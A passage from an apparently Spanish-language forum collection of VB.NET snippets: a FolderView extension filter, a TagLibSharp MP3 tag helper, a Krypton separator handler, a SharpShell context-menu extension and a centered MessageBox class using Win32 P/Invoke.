End Function
End Class
#End Region
Ejemplo de como filtrar las extensiones mostradas en un FolderView control, de la librería shell mega pack: http://www.ssware.com/fldrview.htm
(http://softwarewagon.com/application_images/screenshots/normal/main_35.jpg)
''' <summary>
''' Handles the AfterExpand event of the FolderView1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="FolderViewEventArgs"/> instance containing the event data.</param>
Private Sub FolderView1_AfterExpand(ByVal sender As Object, ByVal e As FolderViewEventArgs) _
Handles FolderView1.AfterExpand
' This event occurs when node is expanded.
If e.Node.HasExpandedOnce Then
Exit Sub
End If
Me.FilterNodeFiles(folderView:=DirectCast(sender, FolderView),
allowedExtensions:=".mp3".ToLower.Split)
End Sub
''' <summary>
''' Handles the BeforeNodeSort event of the FolderView1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="BeforeNodeSortEventArgs"/> instance containing the event data.</param>
Private Sub FolderView1_BeforeNodeSort(sender As Object, e As BeforeNodeSortEventArgs) _
Handles FolderView1.BeforeNodeSort
' This event occurs when a file is created/moved/pasted inside a node.
Me.FilterNodeFiles(folderView:=DirectCast(sender, FolderView),
allowedExtensions:=".mp3".ToLower.Split)
End Sub
''' <summary>
''' Filters the files that can be shown in the TreeNodes of a <see cref="FolderView"/>.
''' </summary>
''' <param name="folderView">The <see cref="FolderView"/>.</param>
''' <param name="allowedExtensions">The allowed file extensions.</param>
Private Sub FilterNodeFiles(ByVal folderView As FolderView, ByVal allowedExtensions() As String)
For Each node As FOVTreeNode In folderView.Nodes.Cast(Of FOVTreeNode).Reverse
If Not (node.IsFolder) _
AndAlso Not (allowedExtensions.Contains(IO.Path.GetExtension(node.Text).ToLower)) Then
node.Delete()
End If
Next node
End Sub
Una actualización de este ayudante de la librería TagLibSharp, para la edición de metadats de archivos de audio, ese wrapper está orientado al manejo de archivos MP3 solamente.
' ***********************************************************************
' Author : Elektro
' Modified : 29-Novembder-2014
' ***********************************************************************
' <copyright file="TagLibSharp Helper.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Dim tagger As New TagLibSharpHelper
'tagger.LoadFile("C:\Users\Administrador\Desktop\1.mp3")
'Dim sb As New System.Text.StringBuilder
'With sb
' .AppendLine(String.Format("Is Corrupt?: {0}", tagger.IsCorrupt))
' .AppendLine(String.Format("Is Writeable?: {0}", tagger.IsWriteable))
' .AppendLine()
' .AppendLine(String.Format("Tags: {0}", tagger.GetTags))
' .AppendLine()
' .AppendLine(String.Format("Title: {0}", tagger.GetTitle))
' .AppendLine(String.Format("Artist: {0}", tagger.GetArtist))
' .AppendLine(String.Format("Album: {0}", tagger.GetAlbum))
' .AppendLine(String.Format("Genre: {0}", tagger.GetGenre))
' .AppendLine(String.Format("Year: {0}", tagger.GetYear))
'End With
'MessageBox.Show(sb.ToString)
'tagger.RemoveTag(TagLib.TagTypes.Id3v1 Or TagLib.TagTypes.Id3v2) ' Removes ID3v1 + ID3v2 Tags
'tagger.SetTag(Sub(x As TagLib.File) x.Tag.Title = "Title Test")
'tagger.SetTags({Sub(x As TagLib.File) x.Tag.Title = "Title Test",
' Sub(x As TagLib.File) x.Tag.Performers = {"My Artist"}})
#End Region
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports TagLib
#End Region
#Region " TagLibSharp Helper "
Public NotInheritable Class TagLibSharpHelper
#Region " Properties "
''' <summary>
''' Gets or sets the <see cref="TagLib.File"/> object.
''' </summary>
''' <value>The <see cref="TagLib.File"/> object.</value>
Private Property TagFile As TagLib.File
Public ReadOnly Property CurrentFile As String
Get
Return Me.TagFile.Name
End Get
End Property
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="TagLibSharpHelper"/> class.
''' </summary>
Public Sub New()
End Sub
''' <summary>
''' Initializes a new instance of the <see cref="TagLibSharpHelper" /> class.
''' </summary>
''' <param name="file">The file to load.</param>
Public Sub New(ByVal file As String)
Me.LoadFile(file)
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Instances a file.
''' </summary>
''' <param name="file">The file to load.</param>
Public Sub LoadFile(ByVal file As String)
Try
Me.TagFile = TagLib.File.Create(file)
Catch ex As CorruptFileException
Throw
Catch ex As UnsupportedFormatException
Throw
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Determines whether the current file is possibly corrupted.
''' </summary>
Public Function IsCorrupt() As Boolean
Me.CheckTagFile()
Return Me.TagFile.PossiblyCorrupt
End Function
''' <summary>
''' Determines whether the current file can be written.
''' </summary>
Public Function IsWriteable() As Boolean
Me.CheckTagFile()
Return Me.TagFile.Writeable
End Function
''' <summary>
''' Get TagTypes of file.
''' </summary>
Public Function GetTags() As String
Me.CheckTagFile()
Return Me.TagFile.TagTypesOnDisk.ToString
End Function
''' <summary>
''' Gets the Title tag of the current file.
''' </summary>
Public Function GetTitle() As String
Me.CheckTagFile()
Return Me.TagFile.Tag.Title
End Function
''' <summary>
''' Gets the Artist tag of the current file.
''' </summary>
Public Function GetArtist() As String
Me.CheckTagFile()
If Me.TagFile.Tag.Performers.Count <> 0 Then
Return Me.TagFile.Tag.Performers(0)
Else
Return String.Empty
End If
End Function
''' <summary>
''' Gets the Album tag of the current file.
''' </summary>
Public Function GetAlbum() As String
Me.CheckTagFile()
Return Me.TagFile.Tag.Album
End Function
''' <summary>
''' Gets the Genre tag of the current file.
''' </summary>
Public Function GetGenre() As String
Me.CheckTagFile()
If Me.TagFile.Tag.Genres.Count <> 0 Then
Return Me.TagFile.Tag.Genres(0)
Else
Return String.Empty
End If
End Function
''' <summary>
''' Gets the Year tag of the current file.
''' </summary>
Public Function GetYear() As String
Me.CheckTagFile()
Return Me.TagFile.Tag.Year.ToString
End Function
''' <summary>
''' Sets a Tag field.
''' </summary>
Public Sub SetTag(ByVal fieldSetter As Action(Of TagLib.File))
Me.CheckTagFile()
If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
Try
fieldSetter(TagFile)
Catch ex As Exception
Throw
End Try
Me.SaveFile()
End If
End Sub
''' <summary>
''' Sets multiple Tag fields.
''' </summary>
Public Sub SetTags(ByVal fieldSetter() As Action(Of TagLib.File))
Me.CheckTagFile()
If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
For Each field As Action(Of TagLib.File) In fieldSetter
Try
field(TagFile)
Catch ex As Exception
Throw
End Try
Next field
Me.SaveFile()
End If
End Sub
''' <summary>
''' Remove a Tag from the current file.
''' </summary>
''' <param name="tagTypes">The tag types to remove from file.</param>
Public Sub RemoveTag(ByVal tagTypes As TagTypes)
Me.CheckTagFile()
If Not Me.IsCorrupt AndAlso Me.IsWriteable Then
Try
Me.TagFile.RemoveTags(tagTypes)
Catch ex As Exception
Throw
End Try
Me.SaveFile()
End If
End Sub
#End Region
#Region " Private Methods "
''' <summary>
''' Saves the current file.
''' </summary>
Private Sub SaveFile()
Me.CheckTagFile()
Try
Me.TagFile.Save()
Catch ex As Exception
Throw
End Try
End Sub
''' <summary>
''' Checks whether a <see cref="TagLib.File"/> object is loaded.
''' </summary>
Private Sub CheckTagFile()
If Me.TagFile Is Nothing Then
Throw New Exception("Any file is loaded.")
End If
End Sub
#End Region
End Class
#End Region
Ejemplo (...un poco cutre por el momento) de cmo utilizar un KryptonSeparator, del set de controles Krypton: http://www.componentfactory.com/toolkit_utilitycontrols.php
(http://www.componentfactory.com/public/editor_images/KSeparatorSample.gif)
''' <summary>
''' Handles the SplitterMoving event of the KryptonSeparator1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="SplitterCancelEventArgs"/> instance containing the event data.</param>
Private Sub KryptonSeparator1_SplitterMoving(ByVal sender As Object, ByVal e As SplitterCancelEventArgs) _
Handles KryptonSeparator1.SplitterMoving
Dim separator As KryptonSeparator = DirectCast(sender, KryptonSeparator)
Dim leftCtrl As Control = Me.ListBox1
Dim rightCtrl As Control = Me.ListBox2
If (e.MouseCursorX > 0) _
AndAlso Not ((rightCtrl.Size.Width - e.MouseCursorX) < rightCtrl.MinimumSize.Width) Then
separator.Location = New Point(separator.Location.X + e.MouseCursorX, separator.Location.Y)
leftCtrl.Width += e.MouseCursorX
rightCtrl.Width -= e.MouseCursorX
rightCtrl.Left = separator.Right
ElseIf (e.MouseCursorX < 0) _
AndAlso Not ((leftCtrl.Size.Width + e.MouseCursorX - separator.Width) < leftCtrl.MinimumSize.Width) Then
separator.Location = New Point(separator.Location.X - separator.Width, separator.Location.Y)
leftCtrl.Width -= separator.Width
rightCtrl.Width += separator.Width
rightCtrl.Left = separator.Right
End If
End Sub
Ejemplo de cómo utilizar la librería SharpShell para crear una shell-extensión, un menú contextual para nuestra aplicación: https://sharpshell.codeplex.com
(https://raw.github.com/dwmkerr/sharpshell/master/Assets/Screenshots/contextmenu.png)
La imagen de arriba no hace referencia al siguiente ejemplo, mi menú tiene la siguiente estructura:
· Título
(Sub-menu)
· Run
· Open Files...
#Region " Option Statements "
Option Strict On
Option Explicit On
Option Infer Off
#End Region
#Region " Imports "
Imports SharpShell.Attributes
Imports SharpShell.SharpContextMenu
Imports System.IO
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms
Imports System.ComponentModel
#End Region
#Region " MyAppContextMenu "
''' <summary>
''' The Application Context Menu Extension.
''' </summary>
<ComVisible(True)>
<COMServerAssociation(AssociationType.ClassOfExtension, ".ext")>
Public Class MyAppContextMenu : Inherits SharpContextMenu
#Region " Objects "
''' <summary>
''' Contains the application information.
''' </summary>
Private ReadOnly application As New AppInfo With
{
.Title = "Menu Title",
.Filename = "Application Filename",
.Directory = My.Application.Info.DirectoryPath
}
#End Region
#Region " Types "
''' <summary>
''' Contains information about an application.
''' This class cannot be inherited.
''' </summary>
Protected NotInheritable Class AppInfo
''' <summary>
''' Gets or sets the application title.
''' </summary>
''' <value>The application title.</value>
Protected Friend Property Title As String
''' <summary>
''' Gets or sets the application filename.
''' </summary>
''' <value>The application filename.</value>
Protected Friend Property Filename As String
''' <summary>
''' Gets or sets the application working directory.
''' </summary>
''' <value>The application working directory.</value>
Protected Friend Property Directory As String
''' <summary>
''' Gets the full qualified application path.
''' </summary>
''' <value>The full qualified application path.</value>
Protected Friend ReadOnly Property FullPath As String
Get
Return Path.Combine(Me.Directory, Me.Filename, ".exe")
End Get
End Property
End Class
#End Region
#Region " SharpShell Methods "
''' <summary>
''' Determines whether this instance can a shell context show menu, given the specified selected file list.
''' </summary>
''' <returns>
''' <c>true</c> if this instance should show a shell context menu for the specified file list; otherwise, <c>false</c>.
''' </returns>
Protected Overrides Function CanShowMenu() As Boolean
Return True
End Function
''' <summary>
''' Creates the context menu.
''' </summary>
''' <returns>The context menu for the shell context menu.</returns>
Protected Overrides Function CreateMenu() As ContextMenuStrip
' Create the menu strip.
Dim menu As New ContextMenuStrip()
' Create the main item, this is used to show our application title.
Dim itemTitle As New ToolStripMenuItem() With
{
.Text = Me.application.Title,
.Image = My.Resources.TitleIcon
}
' Create a 'Run' item.
Dim itemRun As New ToolStripMenuItem() With
{
.Text = "Run",
.Image = My.Resources.RunIcon
}
' Create a 'Open file' item.
Dim itemOpenFile As New ToolStripMenuItem() With
{
.Text = "Open file...",
.Image = My.Resources.OpenFileIcon
}
' Create a 'Open files' item.
Dim itemOpenFiles As New ToolStripMenuItem() With
{
.Text = "Open files...",
.Image = My.Resources.OpenFileIcon
}
' Add the main item into the context menu.
menu.Items.Add(itemTitle)
' Add the 'Run' sub-item into the 'itemTitle' item.
itemTitle.DropDownItems.Add(itemRun)
' Add the 'Open file' or 'Open files' sub-item into the 'itemTitle' item.
' Depending on the amount of selected files.
itemTitle.DropDownItems.Add(If(Me.SelectedItemPaths.Count = 1, itemOpenFile, itemOpenFiles))
' Suscribe to events.
AddHandler itemRun.Click, AddressOf ItemRun_Click
AddHandler itemOpenFile.Click, AddressOf ItemOpenFile_Click
AddHandler itemOpenFiles.Click, AddressOf ItemOpenFiles_Click
' Return the menu.
Return menu
End Function
#End Region
#Region " Application Methods "
''' <summary>
''' Runs the specified application.
''' </summary>
''' <param name="fileName">The name of an application file to run in the process.</param>
''' <param name="arguments">Command-line arguments to pass when starting the process.</param>
Private Sub RunApp(ByVal fileName As String,
Optional ByVal arguments As String = "")
Try
Process.Start(fileName, arguments)
Catch ex As FileNotFoundException
' Do something.
Catch ex As InvalidOperationException
' Do something.
Catch ex As Win32Exception
' Dim errorCode As Integer = Marshal.GetLastWin32Error()
' Do something.
Catch ex As Exception
' Do something.
End Try
End Sub
''' <summary>
''' Opens the given file in the specified application.
''' </summary>
''' <param name="appPath">The application filepath to run.</param>
''' <param name="filepath">The filepath to send to the application arguments.</param>
''' <param name="stringFormat">The string format used to format the filepath.</param>
Private Sub OpenFile(ByVal appPath As String,
ByVal filepath As String,
Optional ByVal stringFormat As String = """{0}""")
Me.RunApp(appPath, String.Format(stringFormat, filepath))
End Sub
''' <summary>
''' Opens the given files in the specified application.
''' </summary>
''' <param name="appPath">The application filepath to run.</param>
''' <param name="filepaths">The filepaths to send to the application arguments.</param>
''' <param name="stringFormat">The string format used to join the filepaths.</param>
Private Sub OpenFiles(ByVal appPath As String,
ByVal filepaths As IEnumerable(Of String),
Optional ByVal stringFormat As String = """{0}"" ")
Me.RunApp(fileName:=appPath,
arguments:=Me.JoinFilePaths(filepaths, stringFormat))
End Sub
''' <summary>
''' Joins the selected filepaths in a single line, filepaths are closed with double-quotes and separated by a space.
''' eg: "File1" "File2" "File3"
''' </summary>
''' <param name="filepaths">The filepaths to join.</param>
''' <param name="joinFormat">The string format used to join the filepaths.</param>
''' <returns>The joined and formatted filepaths.</returns>
Private Function JoinFilePaths(ByVal filepaths As IEnumerable(Of String),
ByVal joinFormat As String) As String
Dim sb As New StringBuilder()
For Each filePath As String In filepaths
sb.Append(String.Format(joinFormat, filePath))
Next filePath
Return sb.ToString
End Function
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the Click event of the ItemRun menu item.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ItemRun_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.RunApp(fileName:=Me.application.FullPath)
End Sub
''' <summary>
''' Handles the Click event of the ItemOpenFile menu item.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ItemOpenFile_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.OpenFile(appPath:=Me.application.FullPath,
filepath:=Me.SelectedItemPaths.First)
End Sub
''' <summary>
''' Handles the Click event of the ItemOpenFiles menu item.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ItemOpenFiles_Click(ByVal sender As Object, ByVal e As EventArgs)
Me.OpenFiles(appPath:=Me.application.FullPath,
filepaths:=Me.SelectedItemPaths)
End Sub
#End Region
End Class
#End Region
Una versión actualizada de mi MessageBox personalizado, cuyas funciones adicionales son la de aparecer centrado en el Form, o cambiar la fuente de texto (aunque dicha característica está algo improvisada)
' ***********************************************************************
' Author : Elektro
' Modified : 27-November-2014
' ***********************************************************************
' <copyright file="CenteredMessageBox.vb" company="Elektro Studios">
' Copyright (c) Elektro Studios. All rights reserved.
' </copyright>
' ***********************************************************************
#Region " Usage Examples "
'Using New CenteredMessageBox(ownerForm:=Me,
' textFont:=New Font("Lucida Console", Font.SizeInPoints, FontStyle.Italic),
' timeOut:=2500)
'
' MessageBox.Show("Text", "Title", MessageBoxButtons.OK, MessageBoxIcon.Information)
'
'End Using
#End Region
#Region " Option Statements "
Option Explicit On
Option Strict On
Option Infer Off
#End Region
#Region " Imports "
Imports System.Drawing
Imports System.Runtime.InteropServices
Imports System.Text
Imports System.Windows.Forms
Imports System.ComponentModel
#End Region
#Region " Centered MessageBox "
''' <summary>
''' A customized <see cref="MessageBox"/>.
''' This class cannot be inherited.
''' </summary>
Friend NotInheritable Class CenteredMessageBox : Implements IDisposable
#Region " Properties "
''' <summary>
''' Gets the messagebox main window handle (hwnd).
''' </summary>
''' <value>The messagebox main window handle (hwnd).</value>
Friend ReadOnly Property MessageBoxWindowHandle As IntPtr
Get
Return Me.messageBoxWindowHandle1
End Get
End Property
''' <summary>
''' The messagebox main window handle (hwnd).
''' </summary>
Private messageBoxWindowHandle1 As IntPtr
''' <summary>
''' Gets the owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>.
''' </summary>
''' <value>The owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>.</value>
Friend ReadOnly Property OwnerForm As Form
Get
Return Me.ownerForm1
End Get
End Property
''' <summary>
''' The owner <see cref="Form"/> to center the <see cref="CenteredMessageBox"/>
''' </summary>
Private ownerForm1 As Form
''' <summary>
''' Gets the <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.
''' </summary>
''' <value>The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.</value>
Friend ReadOnly Property Font As Font
Get
Return Me.font1
End Get
End Property
''' <summary>
''' The <see cref="Font"/> used to display the <see cref="CenteredMessageBox"/> text.
''' </summary>
Private ReadOnly font1 As Font
''' <summary>
''' Gets the time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds.
''' Default value is '0', which means Infinite.
''' </summary>
Friend ReadOnly Property TimeOut As Integer
Get
Return Me.timeOut1
End Get
End Property
''' <summary>
''' The time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds.
''' Default value is '0', which means Infinite.
''' </summary>
Private ReadOnly timeOut1 As Integer = 0
#End Region
#Region " Objects "
''' <summary>
''' A <see cref="Windows.Forms.Timer"/> that keeps track of <see cref="TimeOut"/> value to close this <see cref="CenteredMessageBox"/>.
''' </summary>
Private WithEvents timeoutTimer As Timer
''' <summary>
''' Keeps track of the current amount of tries to find this <see cref="CenteredMessageBox"/> dialog.
''' </summary>
Private tries As Integer
#End Region
#Region " P/Invoke "
''' <summary>
''' Platform Invocation methods (P/Invoke), access unmanaged code.
''' This class does not suppress stack walks for unmanaged code permission.
''' <see cref="System.Security.SuppressUnmanagedCodeSecurityAttribute"/> must not be applied to this class.
''' This class is for methods that can be used anywhere because a stack walk will be performed.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/ms182161.aspx
''' </summary>
Protected NotInheritable Class NativeMethods
#Region " Functions "
''' <summary>
''' Retrieves the thread identifier of the calling thread.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms683183%28v=vs.85%29.aspx
''' </summary>
''' <returns>The thread identifier of the calling thread.</returns>
<DllImport("kernel32.dll", SetLastError:=False)>
Protected Friend Shared Function GetCurrentThreadId() As Integer
End Function
''' <summary>
''' Enumerates all nonchild windows associated with a thread by passing the handle to each window,
''' in turn, to an application-defined callback function.
''' <see cref="EnumThreadWindows"/> continues until the last window is enumerated or the callback function returns <c>false</c>.
''' To enumerate child windows of a particular window, use the EnumChildWindows function.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633495%28v=vs.85%29.aspx
''' </summary>
''' <param name="dwThreadId">The identifier of the thread whose windows are to be enumerated.</param>
''' <param name="lpfn">A pointer to an application-defined callback function.</param>
''' <param name="lParam">An application-defined value to be passed to the callback function.</param>
''' <returns>
''' <c>true</c> if the callback function returns <c>true</c> for all windows in the thread specified by dwThreadId parameter.
''' <c>false</c> if the callback function returns <c>false</c> on any enumerated window,
''' or if there are no windows found in the thread specified by dwThreadId parameter.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function EnumThreadWindows(
ByVal dwThreadId As Integer,
ByVal lpfn As NativeMethods.EnumThreadWndProc,
ByVal lParam As IntPtr
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Retrieves the name of the class to which the specified window belongs.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633582%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window and, indirectly, the class to which the window belongs.</param>
''' <param name="buffer">The class name string.</param>
''' <param name="buflen">
''' The length of the lpClassName buffer, in characters.
''' The buffer must be large enough to include the terminating null character;
''' otherwise, the class name string is truncated to nMaxCount-1 characters.
''' </param>
''' <returns>
''' If the function succeeds, the return value is the number of characters copied to the buffer,
''' not including the terminating null character.
''' If the function fails, the return value is 0.
''' </returns>
<DllImport("user32.dll", SetLastError:=False, CharSet:=CharSet.Auto)>
Protected Friend Shared Function GetClassName(
ByVal hWnd As IntPtr,
ByVal buffer As StringBuilder,
ByVal buflen As Integer
) As Integer
End Function
''' <summary>
''' Retrieves a handle to a control in the specified dialog box.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms645481%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the dialog box that contains the control.</param>
''' <param name="item">The identifier of the control to be retrieved.</param>
''' <returns>
''' If the function succeeds, the return value is the window handle of the specified control.
''' If the function fails, the return value is <see cref="IntPtr.Zero"/>,
''' indicating an invalid dialog box handle or a nonexistent control
''' </returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function GetDlgItem(
ByVal hWnd As IntPtr,
ByVal item As Integer
) As IntPtr
End Function
''' <summary>
''' Retrieves the dimensions of the bounding rectangle of the specified window.
''' The dimensions are given in screen coordinates that are relative to the upper-left corner of the screen.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633519%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window.</param>
''' <param name="rc">
''' A pointer to a <see cref="RECT"/> structure that receives the screen coordinates of
''' the upper-left and lower-right corners of the window.
''' </param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function GetWindowRect(
ByVal hWnd As IntPtr,
ByRef rc As Rect
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Destroys the specified window.
''' The function sends WM_DESTROY and WM_NCDESTROY messages to the window to deactivate it and remove the keyboard focus from it.
''' The function also destroys the window's menu, flushes the thread message queue, destroys timers, removes clipboard ownership,
''' and breaks the clipboard viewer chain (if the window is at the top of the viewer chain).
''' If the specified window is a parent or owner window,
''' DestroyWindow automatically destroys the associated child or owned windows when it destroys the parent or owner window.
''' The function first destroys child or owned windows, and then it destroys the parent or owner window.
''' DestroyWindow also destroys modeless dialog boxes created by the CreateDialog function.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632682%28v=vs.85%29.aspx
''' </summary>
''' <param name="hwnd">Handle to the window to be destroyed.</param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function DestroyWindow(
ByVal hwnd As IntPtr
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Changes the position and dimensions of the specified window.
''' For a top-level window, the position and dimensions are relative to the upper-left corner of the screen.
''' For a child window, they are relative to the upper-left corner of the parent window's client area.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633534%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window.</param>
''' <param name="x">The new position of the left side of the window.</param>
''' <param name="y">The new position of the top of the window.</param>
''' <param name="width">The new width of the window.</param>
''' <param name="height">The new height of the window.</param>
''' <param name="repaint">
''' Indicates whether the window is to be repainted.
''' If this parameter is TRUE, the window receives a message.
''' If the parameter is FALSE, no repainting of any kind occurs.
''' This applies to the client area, the nonclient area (including the title bar and scroll bars),
''' and any part of the parent window uncovered as a result of moving a child window.
''' </param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function MoveWindow(
ByVal hWnd As IntPtr,
ByVal x As Integer,
ByVal y As Integer,
ByVal width As Integer,
ByVal height As Integer,
ByVal repaint As Boolean
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Changes the size, position, and Z order of a child, pop-up, or top-level window.
''' These windows are ordered according to their appearance on the screen.
''' The topmost window receives the highest rank and is the first window in the Z order.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window.</param>
''' <param name="hWndInsertAfter">A handle to the window to precede the positioned window in the Z order.</param>
''' <param name="x">The new position of the left side of the window, in client coordinates.</param>
''' <param name="y">The new position of the top of the window, in client coordinates.</param>
''' <param name="cx">The new width of the window, in pixels.</param>
''' <param name="cy">The new height of the window, in pixels.</param>
''' <param name="uFlags">The window sizing and positioning flags.</param>
''' <returns><c>true</c> if the function succeeds, <c>false</c> otherwise.</returns>
<DllImport("user32.dll", SetLastError:=True)> _
Protected Friend Shared Function SetWindowPos(
ByVal hWnd As IntPtr,
ByVal hWndInsertAfter As IntPtr,
ByVal x As Integer,
ByVal y As Integer,
ByVal cx As Integer,
ByVal cy As Integer,
ByVal uFlags As SetWindowPosFlags
) As <MarshalAs(UnmanagedType.Bool)> Boolean
End Function
''' <summary>
''' Sends the specified message to a window or windows.
''' The <see cref="SendMessage"/> function calls the window procedure for the specified window and
''' does not return until the window procedure has processed the message.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644950%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to the window whose window procedure will receive the message.</param>
''' <param name="msg">The windows message to be sent.</param>
''' <param name="wParam">Additional message-specific information.</param>
''' <param name="lParam">Additional message-specific information.</param>
''' <returns>The result of the message processing; it depends on the message sent.</returns>
<DllImport("user32.dll", SetLastError:=False)>
Protected Friend Shared Function SendMessage(
ByVal hWnd As IntPtr,
ByVal msg As WindowsMessages,
ByVal wParam As IntPtr,
ByVal lParam As IntPtr
) As IntPtr
End Function
#End Region
#Region " Callbacks "
''' <summary>
''' An application-defined callback function used with the <see cref="EnumThreadWindows"/> function.
''' It receives the window handles associated with a thread.
''' The WNDENUMPROC type defines a pointer to this callback function.
''' <see cref="EnumThreadWndProc"/> is a placeholder for the application-defined function name
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633496%28v=vs.85%29.aspx
''' </summary>
''' <param name="hWnd">A handle to a window associated with the thread specified in the <see cref="EnumThreadWindows"/> function.</param>
''' <param name="lParam">The application-defined value given in the <see cref="EnumThreadWindows"/> function.</param>
''' <returns>
''' To continue enumeration, the callback function must return <c>true</c>;
''' To stop enumeration, it must return <c>false</c>.
''' </returns>
Protected Friend Delegate Function EnumThreadWndProc(
ByVal hWnd As IntPtr,
ByVal lParam As IntPtr
) As Boolean
#End Region
#Region " Enumerations "
''' <summary>
''' Specifies a System-Defined Message.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms644927%28v=vs.85%29.aspx#system_defined
''' </summary>
<Description("Enum used for 'SendMessage' function.")>
Protected Friend Enum WindowsMessages As Integer
' **************************************
' NOTE:
' This enumeration is partially defined.
' **************************************
''' <summary>
''' Sets the font that a control is to use when drawing text.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632642%28v=vs.85%29.aspx
''' </summary>
WM_SETFONT = &H30
''' <summary>
''' Retrieves the font with which the control is currently drawing its text.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms632624%28v=vs.85%29.aspx
''' </summary>
WM_GETFONT = &H31
End Enum
''' <summary>
''' Specifies the window sizing and positioning flags.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/ms633545%28v=vs.85%29.aspx
''' </summary>
<FlagsAttribute>
<Description("Enum used for 'SetWindowPos' function.")>
Protected Friend Enum SetWindowPosFlags As UInteger
' **************************************
' NOTE:
' This enumeration is partially defined.
' **************************************
''' <summary>
''' Indicates any flag.
''' </summary>
None = &H0UI
End Enum
#End Region
#Region " Structures "
''' <summary>
''' Defines the coordinates of the upper-left and lower-right corners of a rectangle.
''' MSDN Documentation: http://msdn.microsoft.com/en-us/library/windows/desktop/dd162897%28v=vs.85%29.aspx
''' </summary>
<Description("Structure used for 'GetWindowRect' function.")>
Protected Friend Structure Rect
''' <summary>
''' The x-coordinate of the upper-left corner of the rectangle.
''' </summary>
Friend Left As Integer
''' <summary>
''' The y-coordinate of the upper-left corner of the rectangle.
''' </summary>
Friend Top As Integer
''' <summary>
''' The x-coordinate of the lower-right corner of the rectangle.
''' </summary>
Friend Right As Integer
''' <summary>
''' The y-coordinate of the lower-right corner of the rectangle.
''' </summary>
Friend Bottom As Integer
End Structure
#End Region
End Class
#End Region
#Region " Constructors "
''' <summary>
''' Initializes a new instance of the <see cref="CenteredMessageBox"/> class.
''' </summary>
''' <param name="ownerForm">The form that owns this <see cref="CenteredMessageBox"/>.</param>
''' <param name="TextFont">The <see cref="Font"/> used to display the text of this <see cref="CenteredMessageBox"/>.</param>
''' <param name="TimeOut">
''' The time interval to auto-close this <see cref="CenteredMessageBox"/>, in milliseconds;
''' Default value is '0', which means Infinite.
''' </param>
Public Sub New(ByVal ownerForm As Form,
Optional textFont As Font = Nothing,
Optional timeOut As Integer = 0I)
Me.ownerForm1 = ownerForm
Me.font1 = textFont
Me.timeOut1 = timeOut
Me.ownerForm1.BeginInvoke(New MethodInvoker(AddressOf Me.FindDialog))
End Sub
''' <summary>
''' Prevents a default instance of the <see cref="CenteredMessageBox"/> class from being created.
''' </summary>
Private Sub New()
End Sub
#End Region
#Region " Private Methods "
''' <summary>
